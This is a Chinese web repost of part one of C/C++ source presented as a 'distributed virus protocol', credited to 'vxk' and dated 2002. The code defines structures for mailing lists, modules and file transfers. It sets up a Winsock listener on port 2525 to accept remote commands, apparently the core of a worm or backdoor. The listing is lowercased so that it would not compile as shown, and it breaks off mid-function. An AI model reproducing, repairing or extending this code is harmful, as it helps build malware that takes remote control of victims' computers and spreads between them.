分布式病毒协议的C/C++描述代码[1]

[入库:2005年8月19日] [更新:2007年3月25日]

本文简介:选择自 love4oot 的 blog

/*
分布式病毒协议的c/c++描述代码
coded by vxk in cvc
copyright® 2001-2002
2002.10.18..night
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
typedef struct conninst
{
socket socket; /* 本地socket号 */
unsigned short clientport; /* 客户端端口 */
struct in_addr clientip; /* 客户端ip地址 */
time_t begintime; /* 连接建立时间 - 预留 */
time_t updatetime; /* 最后更新时间 - 预留 */
word lastestsequencenumber; /* 最新包序号 */
unsigned short key; /* 密钥 - 预留*/
unsigned short cmdlen; /* 结果堆长度 */
char *pcmd; /* 命令堆 */
unsigned short resultlen; /* 结果堆长度 */
char *presult; /* 结果堆 */
struct conninst* next; /* 下一个请求实例的地址 */
}conninst, *pconninst;
typedef struct maillist
{
string address;
string name;
struct maillist *pnext;
}maillist,*pmaillist;
typedef struct moudlelist
{
string moudlename;
string moudlefilename;
string moudleguid;
string usefor;
string moudleauther;
struct moudlelist *pnext;
}moudlelist,*pmoudlelist;
typedef struct fileupdata
{
struct in_addr clientip;
dword port;
dword samguid;
string filename;
lvoid cmd;
}fileupdata,*pfileupdata;


typedef struct dvppak
{
string samcommand;
string guid;
string auther;
lvoid cmd;
pmaillist *pmail;
pmoudlelist *pmoudle;
string versionofme;
pmypcinfo *pcinfo;
}dvppak, *pdvppak;

hinstance hinst; /* 当前实例句柄 */
hwnd hwndmain; /* 主窗口句柄 */
socket listensocket; /* 监听套接口 */
pconninst pconninsthead;
pconninst addconninst(socket, unsigned short, struct in_addr);
pconninst getconninst(socket);
void onwrite(socket socket);
int nethalt(void);
void delconninst(pconninst);
void dvpexpcmd(socket s);
void delallconninst(void);
void recvfilethreadproc(pfileupdata *plm);
void sendfilethreadproc(pfileupdata *plm);
int uistartup(hinstance hinstance, int ncmdshow);
lresult callback mainwndproc(hwnd,uint,wparam,lparam);
int netstartup(void);
void onaccept(socket socket);
void onclose(socket socket);
void onread(socket socket);
void sendresult(socket socket);
int netstartup(void)
{
unsigned short wversionrequested=makeword(1,1);
wsadata wsadata;
sockaddr_in saserver;
dword dwaddrstrlen;
char szaddress[128];
int nret;

/* 初始化winsock */
if(wsastartup(wversionrequested, &wsadata)!=0)
{
//("dvp 错误 :: 网络协议启动失败,请重新启动计算机.");
}
/* 检查winsock版本 */
if(wsadata.wversion != wversionrequested)
{
//("dvp 错误 :: 网络协议版本错误,请升级winsock.");
}

/* 创建流式套接口 */
listensocket=socket(af_inet, sock_stream, ipproto_tcp);
if(listensocket==invalid_socket)
{
//("error :: can not create steam socket.");
return 0;
}

/* 通知套接口有请求事件发生 */
nret=wsaasyncselect(listensocket,
hwndmain, //在网络事件发生时需要接收消息的窗口句柄
um_async, //在网络事件发生时要接收的消息
fd_accept | fd_read | fd_write | fd_close);
//只在程式开始执行一次,以后只要有套接口请求就发送消息
if (nret==socket_error)
{
//("error :: can not initialize steam socket.");
closesocket(listensocket);
return 0;
}

/* 地址结构设定 */
saserver.sin_port=htons(2525); //端口在这里哦
saserver.sin_family=af_inet;
saserver.sin_addr.s_addr=inaddr_any;

/* 将一本地地址3872与套接口listensocket捆绑 */
nret=bind(listensocket, (lpsockaddr)&saserver, sizeof(struct sockaddr));
if (nret==socket_error)
{
//("error :: can not bind socket to local port 1936.");
//("hint :: dvp kernel server can only run in one thread.");
closesocket(listensocket);
return 0;
}

/* 让套接口开始监听 */
nret = listen(listensocket, somaxconn);
if (nret == socket_error)
{
//("error :: can not listen.");
closesocket(listensocket);
return 0;
}

dwaddrstrlen = sizeof(szaddress);
getlocaladdress(szaddress, &dwaddrstrlen);
return 1;
}

/* unknown how */
int getlocaladdress(lpstr lpstr, lpdword lpdwstrlen)
{
struct in_addr *pinaddr;
lphostent lphostent;
int nret;
int nlen;

// get our local name
nret = gethostname(lpstr, *lpdwstrlen);
if(nret==socket_error)
{
lpstr[0]='\0';
return socket_error;
}

// "lookup" the local name
lphostent=gethostbyname(lpstr);
if(lphostent==null)
{
lpstr[0] = '\0';
return socket_error;
}

// format first address in the list
pinaddr=((lpin_addr)lphostent->h_addr);
nlen=strlen(inet_ntoa(*pinaddr));
if((dword)nlen>*lpdwstrlen)
{
*lpdwstrlen=nlen;
wsasetlasterror(wsaeinval);
return socket_error;
}

*lpdwstrlen = nlen;
strcpy(lpstr, inet_ntoa(*pinaddr));
return 0;
}

int uistartup(hinstance hinstance, int ncmdshow)
{
wndclass dvpwindow;

handle hobject;

/* 创建实例 */
hinst=hinstance;

/* 判断是否已经运行 */
hobject=createmutex(null,false,"dvpc");
if(getlasterror() == error_already_exists)
{

本文关键:分布式病毒协议的C/C++描述代码
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top